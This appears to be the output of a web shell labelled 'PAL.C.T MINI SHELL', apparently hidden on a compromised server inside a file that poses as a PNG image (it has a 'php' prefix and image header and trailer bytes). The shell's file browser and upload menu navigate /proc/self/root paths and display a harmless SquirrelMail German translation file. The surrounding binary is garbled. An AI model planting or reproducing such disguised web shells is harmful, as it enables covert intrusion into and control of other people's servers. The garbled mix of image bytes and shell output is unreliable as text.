php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/share/squirrelmail/locale/de_DE/LC_MESSAGES/
upload
files >> //proc/self/root/usr/share/squirrelmail/locale/de_DE/LC_MESSAGES/expire.po

# German translation of SquirrelMail expire plugin.
# Copyright (c) 2005-2009 The SquirrelMail Project Team
# This file is distributed under the same license as the SquirrelMail package.
# Florian Daeumling <jam@qv90.de>, 2006.
# $Id: expire.po 13696 2009-05-14 06:27:08Z jervfors $
msgid ""
msgstr ""
"Project-Id-Version: expire 1.3.1\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2006-06-25 12:50+0200\n"
"PO-Revision-Date: 2005-09-06 23:35+0200\n"
"Last-Translator: Florian Daeumling <jam@qv90.de>\n"
"Language-Team: German <squirrelmail-i18n@lists.sourceforge.net>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=utf-8\n"
"Content-Transfer-Encoding: 8bit\n"

#: /var/www/sm-1.4.6/plugins/expire/functions.php:28
#, php-format
msgid "ERROR (%s): Can't load config file"
msgstr "FEHLER (%s): Kann Konfigurations-Datei nicht laden"

#: /var/www/sm-1.4.6/plugins/expire/functions.php:49
msgid "Cannot create option directory!"
msgstr "Kann Optionsverzeichnis nicht erstellen!"

#: /var/www/sm-1.4.6/plugins/expire/functions.php:50
#: /var/www/sm-1.4.6/plugins/expire/functions.php:57
#: /var/www/sm-1.4.6/plugins/expire/functions.php:63
#: /var/www/sm-1.4.6/plugins/expire/functions.php:181
#: /var/www/sm-1.4.6/plugins/expire/functions.php:187
#: /var/www/sm-1.4.6/plugins/expire/functions.php:230
msgid "Please contact system administrator."
msgstr "Bitte kontaktieren Sie den Systemadministrator."

#: /var/www/sm-1.4.6/plugins/expire/functions.php:56
msgid "Cannot create option file!"
msgstr "Kann Optionen nicht speichern!"

#: /var/www/sm-1.4.6/plugins/expire/functions.php:62
#: /var/www/sm-1.4.6/plugins/expire/functions.php:186
msgid "Cannot create temporary file!"
msgstr "Kann temporäre Datei nicht erstellen!"

#: /var/www/sm-1.4.6/plugins/expire/functions.php:100
msgid "Expiration"
msgstr "Automatisches löschen von E-Mails"

#: /var/www/sm-1.4.6/plugins/expire/functions.php:106
#: /var/www/sm-1.4.6/plugins/expire/functions.php:125
msgid "Expire emails in folder"
msgstr "Lösche E-Mails in Ordner"

#: /var/www/sm-1.4.6/plugins/expire/functions.php:108
#: /var/www/sm-1.4.6/plugins/expire/functions.php:127
msgid "Select a folder"
msgstr "Wähle einen Ordner"

#: /var/www/sm-1.4.6/plugins/expire/functions.php:112
msgid "after"
msgstr "nach"

#: /var/www/sm-1.4.6/plugins/expire/functions.php:114
msgid "days"
msgstr "Tagen"

#: /var/www/sm-1.4.6/plugins/expire/functions.php:118
msgid "Define"
msgstr "Setzen"

#: /var/www/sm-1.4.6/plugins/expire/functions.php:130
#, php-format
msgid "%s after %s days"
msgstr "%s nach %s Tagen"

#: /var/www/sm-1.4.6/plugins/expire/functions.php:135
msgid "Delete"
msgstr "Löschen"

#: /var/www/sm-1.4.6/plugins/expire/functions.php:143
msgid "Error"
msgstr "Fehler"

#: /var/www/sm-1.4.6/plugins/expire/functions.php:168
msgid "This folder definition cannot be modified"
msgstr "Diese Verzeichnisdefinition kann nicht bearbeitet werden"

#: /var/www/sm-1.4.6/plugins/expire/functions.php:180
msgid "Cannot read option file!"
msgstr "Kann Optionen nicht lesen!"

#: /var/www/sm-1.4.6/plugins/expire/functions.php:198
#, php-format
msgid "Expiration modified successfully for folder %s."
msgstr "Optionen für Ordner %s erfolgreich geändert."

#: /var/www/sm-1.4.6/plugins/expire/functions.php:211
#, php-format
msgid "Expiration deleted successfully for folder %s."
msgstr "Optionen für Ordner %s erfolgreich gelöscht."

#: /var/www/sm-1.4.6/plugins/expire/functions.php:220
#, php-format
msgid "Expiration set successfully for folder %s."
msgstr "Optionen für Ordner %s erfolgreich gespeichert."

#: /var/www/sm-1.4.6/plugins/expire/functions.php:229
msgid "Cannot replace option file!"
msgstr "Kann Optionen nicht schreiben!"

#: /var/www/sm-1.4.6/plugins/expire/options.php:27
msgid "You have not selected a folder."
msgstr "Sie haben keinen Ordner ausgewählt."

#: /var/www/sm-1.4.6/plugins/expire/options.php:38
msgid "You have not entered a valid number of days."
msgstr "Die Angabe der Tage ist ungültig."
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`